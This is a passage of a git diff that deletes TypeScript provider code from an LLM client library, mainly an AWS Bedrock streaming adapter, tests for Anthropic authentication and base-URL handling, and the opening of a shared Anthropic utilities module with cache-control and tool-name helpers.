BedrockOptions -> = ( - model: Model<"bedrock-converse-stream">, - context: Context, - options: BedrockOptions = {}, -): AssistantMessageEventStream => { - const stream = new AssistantMessageEventStream(); - - (async () => { - const output: AssistantMessage = { - role: "assistant", - content: [], - api: "bedrock-converse-stream" as Api, - provider: model.provider, - model: model.id, - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: Date.now(), - }; - - const blocks = output.content as Block[]; - - const config: BedrockRuntimeClientConfig = { - profile: options.profile, - }; - - // in Node.js/Bun environment only - if ( - typeof process !== "undefined" && - (process.versions?.node || process.versions?.bun) - ) { - // Region resolution: explicit option > env vars > SDK default chain. - // When AWS_PROFILE is set, we leave region undefined so the SDK can - // resovle it from aws profile configs. Otherwise fall back to us-east-1. - const explicitRegion = - options.region || - process.env.AWS_REGION || - process.env.AWS_DEFAULT_REGION; - if (explicitRegion) { - config.region = explicitRegion; - } else if (!process.env.AWS_PROFILE) { - config.region = "us-east-1"; - } - - // Support proxies that don't need authentication - if (process.env.AWS_BEDROCK_SKIP_AUTH === "1") { - config.credentials = { - accessKeyId: "dummy-access-key", - secretAccessKey: "dummy-secret-key", - }; - } - - if ( - process.env.HTTP_PROXY || - process.env.HTTPS_PROXY || - process.env.NO_PROXY || - process.env.http_proxy || - process.env.https_proxy || - process.env.no_proxy - ) { - const nodeHttpHandler = await import("@smithy/node-http-handler"); - const proxyAgent = await import("proxy-agent"); - - const agent = new proxyAgent.ProxyAgent(); - - // Bedrock runtime uses NodeHttp2Handler by default since v3.798.0, which is based - // on `http2` module and has no support for http agent. - // Use NodeHttpHandler to support http agent. - config.requestHandler = new nodeHttpHandler.NodeHttpHandler({ - httpAgent: agent, - httpsAgent: agent, - }); - } else if (process.env.AWS_BEDROCK_FORCE_HTTP1 === "1") { - // Some custom endpoints require HTTP/1.1 instead of HTTP/2 - const nodeHttpHandler = await import("@smithy/node-http-handler"); - config.requestHandler = new nodeHttpHandler.NodeHttpHandler(); - } - } else { - // Non-Node environment (browser): fall back to us-east-1 since - // there's no config file resolution available. - config.region = options.region || "us-east-1"; - } - - try { - const client = new BedrockRuntimeClient(config); - - const cacheRetention = resolveCacheRetention(options.cacheRetention); - let commandInput = { - modelId: model.id, - messages: convertMessages(context, model, cacheRetention), - system: buildSystemPrompt(context.systemPrompt, model, cacheRetention), - inferenceConfig: { - maxTokens: options.maxTokens, - temperature: options.temperature, - }, - toolConfig: convertToolConfig( - context.tools, - options.toolChoice, - model, - cacheRetention, - ), - additionalModelRequestFields: buildAdditionalModelRequestFields( - model, - options, - ), - }; - const nextCommandInput = await options?.onPayload?.(commandInput, model); - if (nextCommandInput !== undefined) { - commandInput = nextCommandInput as typeof commandInput; - } - const command = new ConverseStreamCommand(commandInput); - - const response = await client.send(command, { - abortSignal: options.signal, - }); - - for await (const item of response.stream!) { - if (item.messageStart) { - if (item.messageStart.role !== ConversationRole.ASSISTANT) { - throw new Error( - "Unexpected assistant message start but got user message start instead", - ); - } - stream.push({ type: "start", partial: output }); - } else if (item.contentBlockStart) { - handleContentBlockStart( - item.contentBlockStart, - blocks, - output, - stream, - ); - } else if (item.contentBlockDelta) { - handleContentBlockDelta( - item.contentBlockDelta, - blocks, - output, - stream, - ); - } else if (item.contentBlockStop) { - handleContentBlockStop(item.contentBlockStop, blocks, output, stream); - } else if (item.messageStop) { - output.stopReason = mapStopReason(item.messageStop.stopReason); - } else if (item.metadata) { - handleMetadata(item.metadata, model, output); - } else if (item.internalServerException) { - throw new Error( - `Internal server error: ${item.internalServerException.message}`, - ); - } else if (item.modelStreamErrorException) { - throw new Error( - `Model stream error: ${item.modelStreamErrorException.message}`, - ); - } else if (item.validationException) { - throw new Error( - `Validation error: ${item.validationException.message}`, - ); - } else if (item.throttlingException) { - throw new Error( - `Throttling error: ${item.throttlingException.message}`, - ); - } else if (item.serviceUnavailableException) { - throw new Error( - `Service unavailable: ${item.serviceUnavailableException.message}`, - ); - } - } - - if (options.signal?.aborted) { - throw new Error("Request was aborted"); - } - - if (output.stopReason === "error" || output.stopReason === "aborted") { - throw new Error("An unknown error occurred"); - } - - stream.push({ type: "done", reason: output.stopReason, message: output }); - stream.end(); - } catch (error) { - for (const block of output.content) { - delete (block as Block).index; - delete (block as Block).partialJson; - } - output.stopReason = options.signal?.aborted ? "aborted" : "error"; - output.errorMessage = - error instanceof Error ? error.message : JSON.stringify(error); - stream.push({ type: "error", reason: output.stopReason, error: output }); - stream.end(); - } - })(); - - return stream; -}; - -export const streamSimpleBedrock: StreamFunction< - "bedrock-converse-stream", - SimpleStreamOptions -> = ( - model: Model<"bedrock-converse-stream">, - context: Context, - options?: SimpleStreamOptions, -): AssistantMessageEventStream => { - const base = buildBaseOptions(model, options, undefined); - if (!options?.reasoning) { - return streamBedrock(model, context, { - ...base, - reasoning: undefined, - } satisfies BedrockOptions); - } - - const effectiveReasoning = resolveReasoningLevel(model, options.reasoning); - - if ( - model.id.includes("anthropic.claude") || - model.id.includes("anthropic/claude") - ) { - if ( - supportsAdaptiveThinking(model.id, model.name) && - isAutoReasoning(options.reasoning) - ) { - return streamBedrock(model, context, { - ...base, - reasoning: options.reasoning, - thinkingBudgets: options.thinkingBudgets, - } satisfies BedrockOptions); - } - - if (supportsAdaptiveThinking(model.id, model.name)) { - return streamBedrock(model, context, { - ...base, - reasoning: effectiveReasoning, - thinkingBudgets: options.thinkingBudgets, - } satisfies BedrockOptions); - } - - const adjusted = adjustMaxTokensForThinking( - base.maxTokens || 0, - model.maxTokens, - effectiveReasoning!, - options.thinkingBudgets, - ); - - return streamBedrock(model, context, { - ...base, - maxTokens: adjusted.maxTokens, - reasoning: effectiveReasoning, - thinkingBudgets: { - ...(options.thinkingBudgets || {}), - [clampReasoning(effectiveReasoning)!]: adjusted.thinkingBudget, - }, - } satisfies BedrockOptions); - } - - return streamBedrock(model, context, { - ...base, - reasoning: effectiveReasoning, - thinkingBudgets: options.thinkingBudgets, - } satisfies BedrockOptions); -}; - -function handleContentBlockStart( - event: ContentBlockStartEvent, - blocks: Block[], - output: AssistantMessage, - stream: AssistantMessageEventStream, -): void { - const index = event.contentBlockIndex!; - const start = event.start; - - if (start?.toolUse) { - const block: Block = { - type: "toolCall", - id: start.toolUse.toolUseId || "", - name: start.toolUse.name || "", - arguments: {}, - partialJson: "", - index, - }; - output.content.push(block); - stream.push({ - type: "toolcall_start", - contentIndex: blocks.length - 1, - partial: output, - }); - } -} - -function handleContentBlockDelta( - event: ContentBlockDeltaEvent, - blocks: Block[], - output: AssistantMessage, - stream: AssistantMessageEventStream, -): void { - const contentBlockIndex = event.contentBlockIndex!; - const delta = event.delta; - let index = blocks.findIndex((b) => b.index === contentBlockIndex); - let block = blocks[index]; - - if (delta?.text !== undefined) { - // If no text block exists yet, create one, as `handleContentBlockStart` is not sent for text blocks - if (!block) { - const newBlock: Block = { - type: "text", - text: "", - index: contentBlockIndex, - }; - output.content.push(newBlock); - index = blocks.length - 1; - block = blocks[index]; - stream.push({ type: "text_start", contentIndex: index, partial: output }); - } - if (block.type === "text") { - block.text += delta.text; - stream.push({ - type: "text_delta", - contentIndex: index, - delta: delta.text, - partial: output, - }); - } - } else if (delta?.toolUse && block?.type === "toolCall") { - block.partialJson = (block.partialJson || "") + (delta.toolUse.input || ""); - block.arguments = parseStreamingJson(block.partialJson); - stream.push({ - type: "toolcall_delta", - contentIndex: index, - delta: delta.toolUse.input || "", - partial: output, - }); - } else if (delta?.reasoningContent) { - let thinkingBlock = block; - let thinkingIndex = index; - - if (!thinkingBlock) { - const newBlock: Block = { - type: "thinking", - thinking: "", - thinkingSignature: "", - index: contentBlockIndex, - }; - output.content.push(newBlock); - thinkingIndex = blocks.length - 1; - thinkingBlock = blocks[thinkingIndex]; - stream.push({ - type: "thinking_start", - contentIndex: thinkingIndex, - partial: output, - }); - } - - if (thinkingBlock?.type === "thinking") { - if (delta.reasoningContent.text) { - thinkingBlock.thinking += delta.reasoningContent.text; - stream.push({ - type: "thinking_delta", - contentIndex: thinkingIndex, - delta: delta.reasoningContent.text, - partial: output, - }); - } - if (delta.reasoningContent.signature) { - thinkingBlock.thinkingSignature = - (thinkingBlock.thinkingSignature || "") + - delta.reasoningContent.signature; - } - } - } -} - -function handleMetadata( - event: ConverseStreamMetadataEvent, - model: Model<"bedrock-converse-stream">, - output: AssistantMessage, -): void { - if (event.usage) { - output.usage.input = event.usage.inputTokens || 0; - output.usage.output = event.usage.outputTokens || 0; - output.usage.cacheRead = event.usage.cacheReadInputTokens || 0; - output.usage.cacheWrite = event.usage.cacheWriteInputTokens || 0; - output.usage.totalTokens = - event.usage.totalTokens || output.usage.input + output.usage.output; - calculateCost(model, output.usage); - } -} - -function handleContentBlockStop( - event: ContentBlockStopEvent, - blocks: Block[], - output: AssistantMessage, - stream: AssistantMessageEventStream, -): void { - const index = blocks.findIndex((b) => b.index === event.contentBlockIndex); - const block = blocks[index]; - if (!block) return; - delete (block as Block).index; - - switch (block.type) { - case "text": - stream.push({ - type: "text_end", - contentIndex: index, - content: block.text, - partial: output, - }); - break; - case "thinking": - stream.push({ - type: "thinking_end", - contentIndex: index, - content: block.thinking, - partial: output, - }); - break; - case "toolCall": - block.arguments = parseStreamingJson(block.partialJson); - delete (block as Block).partialJson; - stream.push({ - type: "toolcall_end", - contentIndex: index, - toolCall: block, - partial: output, - }); - break; - } -} - -/** - * Checks both model ID and model name to support application inference profiles - * whose ARNs don't contain the model name. - */ -function getModelMatchCandidates( - modelId: string, - modelName?: string, -): string[] { - const values = modelName ? [modelId, modelName] : [modelId]; - return values.flatMap((value) => { - const lower = value.toLowerCase(); - return [lower, lower.replace(/[\s_.:]+/g, "-")]; - }); -} - -/** - * Check if the model supports adaptive thinking (Opus 4.6/4.7, Sonnet 4.6/4.7, Haiku 4.5). - * @internal exported for testing only - */ -export function supportsAdaptiveThinking( - modelId: string, - modelName?: string, -): boolean { - const candidates = getModelMatchCandidates(modelId, modelName); - return candidates.some( - (s) => - s.includes("opus-4-6") || - s.includes("opus-4-7") || - s.includes("sonnet-4-6") || - s.includes("sonnet-4-7") || - s.includes("haiku-4-5"), - ); -} - -/** @internal exported for testing only */ -export function mapThinkingLevelToEffort( - level: SimpleStreamOptions["reasoning"], - modelId: string, - modelName?: string, -): "low" | "medium" | "high" | "xhigh" | "max" { - const candidates = getModelMatchCandidates(modelId, modelName); - switch (level) { - case "auto": - return "medium"; - case "minimal": - case "low": - return "low"; - case "medium": - return "medium"; - case "high": - return "high"; - case "xhigh": - if (candidates.some((s) => s.includes("opus-4-7"))) return "xhigh"; - if (candidates.some((s) => s.includes("opus-4-6"))) return "max"; - return "high"; - default: - return "high"; - } -} - -/** - * Resolve cache retention preference. - * Defaults to "short" and uses PI_CACHE_RETENTION for backward compatibility. - */ -function resolveCacheRetention( - cacheRetention?: CacheRetention, -): CacheRetention { - if (cacheRetention) { - return cacheRetention; - } - if ( - typeof process !== "undefined" && - process.env.PI_CACHE_RETENTION === "long" - ) { - return "long"; - } - return "short"; -} - -/** - * Check if the model supports prompt caching. - * Supported: Claude 3.5 Haiku, Claude 3.7 Sonnet, Claude 4.x models - */ -function supportsPromptCaching( - model: Model<"bedrock-converse-stream">, -): boolean { - if (model.cost.cacheRead || model.cost.cacheWrite) { - return true; - } - - const candidates = getModelMatchCandidates(model.id, model.name); - const hasClaudeRef = candidates.some((s) => s.includes("claude")); - if (!hasClaudeRef) { - return false; - } - // Claude 4.x models (opus-4, sonnet-4, haiku-4) - if (candidates.some((s) => s.includes("-4-"))) return true; - // Claude 3.7 Sonnet - if (candidates.some((s) => s.includes("claude-3-7-sonnet"))) return true; - // Claude 3.5 Haiku - if (candidates.some((s) => s.includes("claude-3-5-haiku"))) return true; - return false; -} - -/** - * Check if the model supports thinking signatures in reasoningContent. - * Only Anthropic Claude models support the signature field. - * Other models (OpenAI, Qwen, Minimax, Moonshot, etc.) reject it with: - * "This model doesn't support the reasoningContent.reasoningText.signature field" - */ -function supportsThinkingSignature( - model: Model<"bedrock-converse-stream">, -): boolean { - const id = model.id.toLowerCase(); - return id.includes("anthropic.claude") || id.includes("anthropic/claude"); -} - -function buildSystemPrompt( - systemPrompt: string | undefined, - model: Model<"bedrock-converse-stream">, - cacheRetention: CacheRetention, -): SystemContentBlock[] | undefined { - if (!systemPrompt) return undefined; - - const blocks: SystemContentBlock[] = [ - { text: sanitizeSurrogates(systemPrompt) }, - ]; - - // Add cache point for supported Claude models when caching is enabled - if (cacheRetention !== "none" && supportsPromptCaching(model)) { - blocks.push({ - cachePoint: { - type: CachePointType.DEFAULT, - ...(cacheRetention === "long" ? { ttl: CacheTTL.ONE_HOUR } : {}), - }, - }); - } - - return blocks; -} - -function normalizeToolCallId(id: string): string { - const sanitized = id.replace(/[^a-zA-Z0-9_-]/g, "_"); - return sanitized.length > 64 ? sanitized.slice(0, 64) : sanitized; -} - -function convertMessages( - context: Context, - model: Model<"bedrock-converse-stream">, - cacheRetention: CacheRetention, -): Message[] { - const result: Message[] = []; - const transformedMessages = transformMessagesWithReport( - context.messages, - model, - normalizeToolCallId, - "bedrock-converse-stream", - ); - - for (let i = 0; i < transformedMessages.length; i++) { - const m = transformedMessages[i]; - - switch (m.role) { - case "user": - result.push({ - role: ConversationRole.USER, - content: - typeof m.content === "string" - ? [{ text: sanitizeSurrogates(m.content) }] - : m.content.map((c) => { - switch (c.type) { - case "text": - return { text: sanitizeSurrogates(c.text) }; - case "image": - return { image: createImageBlock(c.mimeType, c.data) }; - default: - throw new Error("Unknown user content type"); - } - }), - }); - break; - case "assistant": { - // Skip assistant messages with empty content (e.g., from aborted requests) - // Bedrock rejects messages with empty content arrays - if (m.content.length === 0) { - continue; - } - const contentBlocks: ContentBlock[] = []; - for (const c of m.content) { - switch (c.type) { - case "text": - // Skip empty text blocks - if (c.text.trim().length === 0) continue; - contentBlocks.push({ text: sanitizeSurrogates(c.text) }); - break; - case "toolCall": - contentBlocks.push({ - toolUse: { toolUseId: c.id, name: c.name, input: c.arguments }, - }); - break; - case "thinking": - // Skip empty thinking blocks - if (c.thinking.trim().length === 0) continue; - // Only Anthropic models support the signature field in reasoningText. - // For other models, we omit the signature to avoid errors like: - // "This model doesn't support the reasoningContent.reasoningText.signature field" - if (supportsThinkingSignature(model)) { - contentBlocks.push({ - reasoningContent: { - reasoningText: { - text: sanitizeSurrogates(c.thinking), - signature: c.thinkingSignature, - }, - }, - }); - } else { - contentBlocks.push({ - reasoningContent: { - reasoningText: { text: sanitizeSurrogates(c.thinking) }, - }, - }); - } - break; - default: - throw new Error("Unknown assistant content type"); - } - } - // Skip if all content blocks were filtered out - if (contentBlocks.length === 0) { - continue; - } - result.push({ - role: ConversationRole.ASSISTANT, - content: contentBlocks, - }); - break; - } - case "toolResult": { - // Collect all consecutive toolResult messages into a single user message - // Bedrock requires all tool results to be in one message - const toolResults: ContentBlock.ToolResultMember[] = []; - - // Add current tool result with all content blocks combined - toolResults.push({ - toolResult: { - toolUseId: m.toolCallId, - content: m.content.map((c) => - c.type === "image" - ? { image: createImageBlock(c.mimeType, c.data) } - : { text: sanitizeSurrogates(c.text) }, - ), - status: m.isError - ? ToolResultStatus.ERROR - : ToolResultStatus.SUCCESS, - }, - }); - - // Look ahead for consecutive toolResult messages - let j = i + 1; - while ( - j < transformedMessages.length && - transformedMessages[j].role === "toolResult" - ) { - const nextMsg = transformedMessages[j] as ToolResultMessage; - toolResults.push({ - toolResult: { - toolUseId: nextMsg.toolCallId, - content: nextMsg.content.map((c) => - c.type === "image" - ? { image: createImageBlock(c.mimeType, c.data) } - : { text: sanitizeSurrogates(c.text) }, - ), - status: nextMsg.isError - ? ToolResultStatus.ERROR - : ToolResultStatus.SUCCESS, - }, - }); - j++; - } - - // Skip the messages we've already processed - i = j - 1; - - result.push({ - role: ConversationRole.USER, - content: toolResults, - }); - break; - } - default: - throw new Error("Unknown message role"); - } - } - - // Add cache point to the last user message for supported Claude models when caching is enabled - if ( - cacheRetention !== "none" && - supportsPromptCaching(model) && - result.length > 0 - ) { - const lastMessage = result[result.length - 1]; - if (lastMessage.role === ConversationRole.USER && lastMessage.content) { - (lastMessage.content as ContentBlock[]).push({ - cachePoint: { - type: CachePointType.DEFAULT, - ...(cacheRetention === "long" ? { ttl: CacheTTL.ONE_HOUR } : {}), - }, - }); - } - } - - return result; -} - -function convertToolConfig( - tools: Tool[] | undefined, - toolChoice: BedrockOptions["toolChoice"], - model: Model<"bedrock-converse-stream">, - cacheRetention: CacheRetention, -): ToolConfiguration | undefined { - if (!tools?.length || toolChoice === "none") return undefined; - - const bedrockTools: BedrockTool[] = tools.map((tool) => ({ - toolSpec: { - name: tool.name, - description: tool.description, - inputSchema: { json: tool.parameters }, - }, - })); - - // Add cachePoint after last tool for supported models - if (cacheRetention !== "none" && supportsPromptCaching(model)) { - bedrockTools.push({ - cachePoint: { - type: CachePointType.DEFAULT, - ...(cacheRetention === "long" ? { ttl: CacheTTL.ONE_HOUR } : {}), - }, - } as any); - } - - let bedrockToolChoice: ToolChoice | undefined; - switch (toolChoice) { - case "auto": - bedrockToolChoice = { auto: {} }; - break; - case "any": - bedrockToolChoice = { any: {} }; - break; - default: - if (toolChoice?.type === "tool") { - bedrockToolChoice = { tool: { name: toolChoice.name } }; - } - } - - return { tools: bedrockTools, toolChoice: bedrockToolChoice }; -} - -function mapStopReason(reason: string | undefined): StopReason { - switch (reason) { - case BedrockStopReason.END_TURN: - case BedrockStopReason.STOP_SEQUENCE: - return "stop"; - case BedrockStopReason.MAX_TOKENS: - case BedrockStopReason.MODEL_CONTEXT_WINDOW_EXCEEDED: - return "length"; - case BedrockStopReason.TOOL_USE: - return "toolUse"; - default: - return "error"; - } -} - -/** @internal exported for testing only */ -export function buildAdditionalModelRequestFields( - model: Model<"bedrock-converse-stream">, - options: BedrockOptions, -): Record | undefined { - if (!options.reasoning || !model.reasoning) { - return undefined; - } - - if ( - model.id.includes("anthropic.claude") || - model.id.includes("anthropic/claude") - ) { - const result: Record = supportsAdaptiveThinking( - model.id, - model.name, - ) - ? options.reasoning === "auto" - ? { - thinking: { type: "adaptive" }, - } - : { - thinking: { type: "adaptive" }, - output_config: { - effort: mapThinkingLevelToEffort( - options.reasoning, - model.id, - model.name, - ), - }, - } - : (() => { - const defaultBudgets: Record = { - minimal: 1024, - low: 2048, - medium: 8192, - high: 16384, - xhigh: 16384, // Claude doesn't support xhigh, clamp to high - }; - - // Custom budgets override defaults (xhigh not in ThinkingBudgets, use high) - const normalizedReasoning = - options.reasoning === "auto" ? "medium" : options.reasoning; - const level = - normalizedReasoning === "xhigh" ? "high" : normalizedReasoning; - const budget = - options.thinkingBudgets?.[level] ?? - defaultBudgets[normalizedReasoning]; - - return { - thinking: { - type: "enabled", - budget_tokens: budget, - }, - }; - })(); - - if ( - !supportsAdaptiveThinking(model.id, model.name) && - (options.interleavedThinking ?? true) - ) { - result.anthropic_beta = ["interleaved-thinking-2025-05-14"]; - } - - return result; - } - - return undefined; -} - -function createImageBlock(mimeType: string, data: string) { - let format: ImageFormat; - switch (mimeType) { - case "image/jpeg": - case "image/jpg": - format = ImageFormat.JPEG; - break; - case "image/png": - format = ImageFormat.PNG; - break; - case "image/gif": - format = ImageFormat.GIF; - break; - case "image/webp": - format = ImageFormat.WEBP; - break; - default: - throw new Error(`Unknown image type: ${mimeType}`); - } - - const binaryString = atob(data); - const bytes = new Uint8Array(binaryString.length); - for (let i = 0; i < binaryString.length; i++) { - bytes[i] = binaryString.charCodeAt(i); - } - - return { source: { bytes }, format }; -} diff --git a/packages/pi-ai/src/providers/anthropic-auth.test.ts b/packages/pi-ai/src/providers/anthropic-auth.test.ts deleted file mode 100644 index b58b44512..000000000 --- a/packages/pi-ai/src/providers/anthropic-auth.test.ts +++ /dev/null @@ -1,107 +0,0 @@ -import assert from "node:assert/strict"; -import { readFileSync } from "node:fs"; -import { dirname, join } from "node:path"; -import { fileURLToPath } from "node:url"; -import { test } from "vitest"; - -import { - resolveAnthropicBaseUrl, - usesAnthropicBearerAuth, -} from "./anthropic.js"; - -const __dirname = dirname(fileURLToPath(import.meta.url)); - -test("usesAnthropicBearerAuth covers Bearer-only Anthropic-compatible providers (#3783)", () => { - assert.equal(usesAnthropicBearerAuth("alibaba-coding-plan"), true); - assert.equal(usesAnthropicBearerAuth("minimax"), true); - assert.equal(usesAnthropicBearerAuth("minimax-cn"), true); - assert.equal(usesAnthropicBearerAuth("longcat"), true); - assert.equal(usesAnthropicBearerAuth("xiaomi"), true); - assert.equal(usesAnthropicBearerAuth("anthropic"), false); -}); - -test("createClient routes Bearer-auth providers through authToken (#3783)", () => { - const source = readFileSync( - join(__dirname, "..", "..", "src", "providers", "anthropic.ts"), - "utf-8", - ); - assert.ok( - source.includes( - "const usesBearerAuth = usesAnthropicBearerAuth(model.provider);", - ), - "createClient should derive auth mode from usesAnthropicBearerAuth", - ); - assert.ok( - source.includes("apiKey: usesBearerAuth ? null : apiKey"), - "Bearer-auth providers should skip x-api-key auth", - ); - assert.ok( - source.includes("authToken: usesBearerAuth ? apiKey : undefined"), - "Bearer-auth providers should send authToken instead", - ); -}); - -// Minimal model stub — only the field resolveAnthropicBaseUrl cares about. -const stubModel = { baseUrl: "https://api.anthropic.com" } as Parameters< - typeof resolveAnthropicBaseUrl ->[0]; - -test("resolveAnthropicBaseUrl returns model.baseUrl when ANTHROPIC_BASE_URL is unset (#4140)", () => { - const saved = process.env.ANTHROPIC_BASE_URL; - try { - delete process.env.ANTHROPIC_BASE_URL; - assert.equal( - resolveAnthropicBaseUrl(stubModel), - "https://api.anthropic.com", - ); - } finally { - if (saved === undefined) delete process.env.ANTHROPIC_BASE_URL; - else process.env.ANTHROPIC_BASE_URL = saved; - } -}); - -test("resolveAnthropicBaseUrl prefers ANTHROPIC_BASE_URL over model.baseUrl (#4140)", () => { - const saved = process.env.ANTHROPIC_BASE_URL; - try { - process.env.ANTHROPIC_BASE_URL = "https://proxy.example.com"; - assert.equal( - resolveAnthropicBaseUrl(stubModel), - "https://proxy.example.com", - ); - } finally { - if (saved === undefined) delete process.env.ANTHROPIC_BASE_URL; - else process.env.ANTHROPIC_BASE_URL = saved; - } -}); - -test("resolveAnthropicBaseUrl ignores whitespace-only ANTHROPIC_BASE_URL (#4140)", () => { - const saved = process.env.ANTHROPIC_BASE_URL; - try { - process.env.ANTHROPIC_BASE_URL = " "; - assert.equal( - resolveAnthropicBaseUrl(stubModel), - "https://api.anthropic.com", - ); - } finally { - if (saved === undefined) delete process.env.ANTHROPIC_BASE_URL; - else process.env.ANTHROPIC_BASE_URL = saved; - } -}); - -test("createClient uses resolveAnthropicBaseUrl for all auth paths (#4140)", () => { - const source = readFileSync( - join(__dirname, "..", "..", "src", "providers", "anthropic.ts"), - "utf-8", - ); - const directUsages = (source.match(/baseURL:\s*model\.baseUrl/g) ?? []) - .length; - assert.equal( - directUsages, - 0, - "createClient must not use model.baseUrl directly — use resolveAnthropicBaseUrl(model)", - ); - assert.ok( - source.includes("baseURL: resolveAnthropicBaseUrl(model)"), - "all createClient branches should pass baseURL through resolveAnthropicBaseUrl", - ); -}); diff --git a/packages/pi-ai/src/providers/anthropic-shared.test.ts b/packages/pi-ai/src/providers/anthropic-shared.test.ts deleted file mode 100644 index f7af46fd2..000000000 --- a/packages/pi-ai/src/providers/anthropic-shared.test.ts +++ /dev/null @@ -1,86 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { convertTools, mapStopReason } from "./anthropic-shared.js"; - -const makeTool = (name: string) => - ({ - name, - description: `desc for ${name}`, - parameters: { - type: "object" as const, - properties: { arg: { type: "string" } }, - required: ["arg"], - }, - }) as any; - -describe("convertTools cache_control", () => { - it("adds cache_control to the last tool when cacheControl is provided", () => { - const tools = [makeTool("Read"), makeTool("Write"), makeTool("Edit")]; - const cacheControl = { type: "ephemeral" as const }; - const result = convertTools(tools, false, cacheControl); - - assert.equal(result.length, 3); - assert.equal((result[0] as any).cache_control, undefined); - assert.equal((result[1] as any).cache_control, undefined); - assert.deepEqual((result[2] as any).cache_control, { type: "ephemeral" }); - }); - - it("does not add cache_control when cacheControl is undefined", () => { - const tools = [makeTool("Read"), makeTool("Write")]; - const result = convertTools(tools, false); - - for (const tool of result) { - assert.equal((tool as any).cache_control, undefined); - } - }); - - it("handles empty tools array without error", () => { - const result = convertTools([], false, { type: "ephemeral" }); - assert.equal(result.length, 0); - }); - - it("passes through ttl when provided", () => { - const tools = [makeTool("Read")]; - const cacheControl = { type: "ephemeral" as const, ttl: "1h" as const }; - const result = convertTools(tools, false, cacheControl); - - assert.deepEqual((result[0] as any).cache_control, { - type: "ephemeral", - ttl: "1h", - }); - }); - - it("single tool gets cache_control", () => { - const tools = [makeTool("Read")]; - const result = convertTools(tools, false, { type: "ephemeral" }); - - assert.equal(result.length, 1); - assert.deepEqual((result[0] as any).cache_control, { type: "ephemeral" }); - }); -}); - -describe("mapStopReason", () => { - it("maps end_turn to stop", () => { - assert.equal(mapStopReason("end_turn"), "stop"); - }); - - it("maps max_tokens to length", () => { - assert.equal(mapStopReason("max_tokens"), "length"); - }); - - it("maps tool_use to toolUse", () => { - assert.equal(mapStopReason("tool_use"), "toolUse"); - }); - - it("maps pause_turn to pauseTurn (not stop)", () => { - // pause_turn means the server paused a long-running turn (e.g. native - // web search hit its iteration limit). Mapping it to "stop" causes the - // agent loop to exit, leaving an incomplete server_tool_use block in - // history which triggers a 400 on the next request. - assert.equal(mapStopReason("pause_turn"), "pauseTurn"); - }); - - it("throws on unknown stop reason", () => { - assert.throws(() => mapStopReason("bogus"), /Unhandled stop reason/); - }); -}); diff --git a/packages/pi-ai/src/providers/anthropic-shared.ts b/packages/pi-ai/src/providers/anthropic-shared.ts deleted file mode 100644 index 1e496762e..000000000 --- a/packages/pi-ai/src/providers/anthropic-shared.ts +++ /dev/null @@ -1,937 +0,0 @@ -/** - * Shared utilities for Anthropic providers (direct API and Vertex AI). - */ -import type Anthropic from "@anthropic-ai/sdk"; -import type { - CacheControlEphemeral, - ContentBlockParam, - MessageCreateParamsStreaming, - MessageParam, - RawMessageStreamEvent, - ServerToolUseBlockParam, - WebSearchToolResultBlockParam, -} from "@anthropic-ai/sdk/resources/messages.js"; -import { calculateCost } from "../models.js"; -import type { - Api, - AssistantMessage, - CacheRetention, - Context, - ImageContent, - Message, - Model, - ServerToolUseContent, - StopReason, - StreamOptions, - TextContent, - ThinkingContent, - Tool, - ToolCall, - ToolResultMessage, - WebSearchResultContent, -} from "../types.js"; - -/** API types that use the Anthropic Messages protocol */ -export type AnthropicApi = "anthropic-messages" | "anthropic-vertex"; - -import type { AssistantMessageEventStream } from "../utils/event-stream.js"; -import { parseAnthropicSSE } from "../utils/event-stream.js"; -import { parseStreamingJson } from "../utils/json-parse.js"; -import { - hasXmlParameterTags, - repairToolJson, -} from "../utils/repair-tool-json.js"; -import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; -import { transformMessagesWithReport } from "./transform-messages.js"; - -export type AnthropicEffort = "low" | "medium" | "high" | "max"; - -export interface AnthropicOptions extends StreamOptions { - thinkingEnabled?: boolean; - thinkingBudgetTokens?: number; - effort?: AnthropicEffort; - interleavedThinking?: boolean; - toolChoice?: "auto" | "any" | "none" | { type: "tool"; name: string }; -} - -const claudeCodeTools = [ - "Read", - "Write", - "Edit", - "Bash", - "Grep", - "Glob", - "AskUserQuestion", - "EnterPlanMode", - "ExitPlanMode", - "KillShell", - "NotebookEdit", - "Skill", - "Task", - "TaskOutput", - "TodoWrite", - "WebFetch", - "WebSearch", -]; - -const ccToolLookup = new Map(claudeCodeTools.map((t) => [t.toLowerCase(), t])); - -export const toClaudeCodeName = (name: string) => - ccToolLookup.get(name.toLowerCase()) ?? name; -export const fromClaudeCodeName = (name: string, tools?: Tool[]) => { - if (tools && tools.length > 0) { - const lowerName = name.toLowerCase(); - const matchedTool = tools.find( - (tool) => tool.name.toLowerCase() === lowerName, - ); - if (matchedTool) return matchedTool.name; - } - return name; -}; - -function resolveCacheRetention( - cacheRetention?: CacheRetention, -): CacheRetention { - if (cacheRetention) { - return cacheRetention; - } - if ( - typeof process !== "undefined" && - process.env.PI_CACHE_RETENTION === "long" - ) { - return "long"; - } - return "short"; -} - -export function getCacheControl( - baseUrl: string, - cacheRetention?: CacheRetention, -): { - retention: CacheRetention; - cacheControl?: { type: "ephemeral"; ttl?: "1h" }; -} { - const retention = resolveCacheRetention(cacheRetention); - if (retention === "none") { - return { retention }; - } - const ttl = - retention === "long" && baseUrl.includes("api.anthropic.com") - ? "1h" - : undefined; - return { - retention, - cacheControl: { type: "ephemeral", ...(ttl && { ttl }) }, - }; -} - -export function convertContentBlocks(content: (TextContent | ImageContent)[]): - | string - | Array< - | { type: "text"; text: string } - | { - type: "image"; - source: { - type: "base64"; - media_type: "image/jpeg" | "image/png" | "image/gif" | "image/webp"; - data: string; - }; - } - > { - const hasImages = content.some((c) => c.type === "image"); - if (!hasImages) { - return sanitizeSurrogates( - content.map((c) => (c as TextContent).text).join("\n"), - ); - } - - const blocks = content.map((block) => { - if (block.type === "text") { - return { - type: "text" as const, - text: sanitizeSurrogates(block.text), - }; - } - return { - type: "image" as const, - source: { - type: "base64" as const, - media_type: block.mimeType as - | "image/jpeg" - | "image/png" - | "image/gif" - | "image/webp", - data: block.data, - }, - }; - }); - - const hasText = blocks.some((b) => b.type === "text"); - if (!hasText) { - blocks.unshift({ - type: "text" as const, - text: "(see attached image)", - }); - } - - return blocks; -} - -export function supportsAdaptiveThinking(modelId: string): boolean { - return ( - 